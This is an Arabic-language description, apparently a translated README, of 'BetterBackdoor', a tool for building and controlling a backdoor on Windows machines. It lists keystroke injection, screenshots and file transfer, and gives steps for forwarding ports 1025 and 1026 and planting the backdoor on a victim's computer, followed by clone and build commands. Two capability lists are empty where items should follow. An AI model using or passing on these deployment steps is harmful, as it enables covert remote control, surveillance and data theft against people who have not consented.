
باب خلفي مع العديد من الميزات.
الباب الخلفي (Backdoor) هو أداة تُستخدم للحصول على وصول عن بُعد إلى جهاز.
عادةً، أدوات الباب الخلفي مثل NetCat لها وظيفتان رئيسيتان: توجيه المدخلات عن بُعد إلى cmd أو bash وإخراج الرد. هذا مفيد، لكنه محدود أيضًا. BetterBackdoor تتجاوز هذه القيود من خلال تضمين القدرة على حقن ضغطات المفاتيح، والتقاط لقطات الشاشة، ونقل الملفات، والعديد من المهام الأخرى.
BetterBackdoor يمكنها إنشاء باب خلفي والتحكم فيه.
هذا الباب الخلفي الذي تم إنشاؤه يمكنه:
يستخدم هذا الباب الخلفي اتصال مأخذ توصيل بين العميل والخادم للتواصل. يبدأ المهاجم خادمًا، ويتصل الضحية بهذا الخادم كعميل. (ملاحظة: إذا حاول عدة عملاء الاتصال، يُطلب من المستخدم اختيار العميل الذي سيتصل به) بمجرد إنشاء الاتصال، يمكن إرسال الأوامر إلى العميل للتحكم في الباب الخلفي.
لإنشاء الباب الخلفي، تقوم BetterBackdoor بما يلي:
يمكن للباب الخلفي العمل داخل شبكة واحدة (LAN) وعبر الإنترنت (WAN). ومع ذلك، لاستخدام الباب الخلفي عبر الإنترنت (WAN)، يجب إجراء إعادة توجيه المنفذ (Port Forwarding).
لاستخدام WAN، يجب إعادة توجيه المنفذين 1025 و 1026 من جهاز المهاجم مع تحديد TCP. بمجرد القيام بذلك، يمكن للمهاجم التحكم في الباب الخلفي حتى إذا كان الضحية والمهاجم على شبكات مختلفة.
لبدء تشغيل الباب الخلفي على جهاز الضحية، انقل جميع الملفات من المجلد 'backdoor' إلى جهاز الضحية.
إذا كانت JRE مرفقة مع الباب الخلفي، فقم بتشغيل run.bat، وإلا قم بتشغيل run.jar.
سيؤدي هذا إلى بدء تشغيل الباب الخلفي على جهاز الضحية.
بمجرد التشغيل، للتحكم في الباب الخلفي، يجب أن تعود إلى BetterBackdoor وتشغيل الخيار 1 عند البداية.
BetterBackdoor متوافقة مع Windows و Mac و Linux، بينما الباب الخلفي متوافق فقط مع Windows.
# clone BetterBackdoor
git clone https://github.com/thatcherclough/BetterBackdoor.git
# change the working directory to BetterBackdoor
cd BetterBackdoor
# build BetterBackdoor with Maven
# for Windows run
mvnw.cmd clean package
# for Linux and Mac run
sh mvnw clean package
java -jar betterbackdoor.jar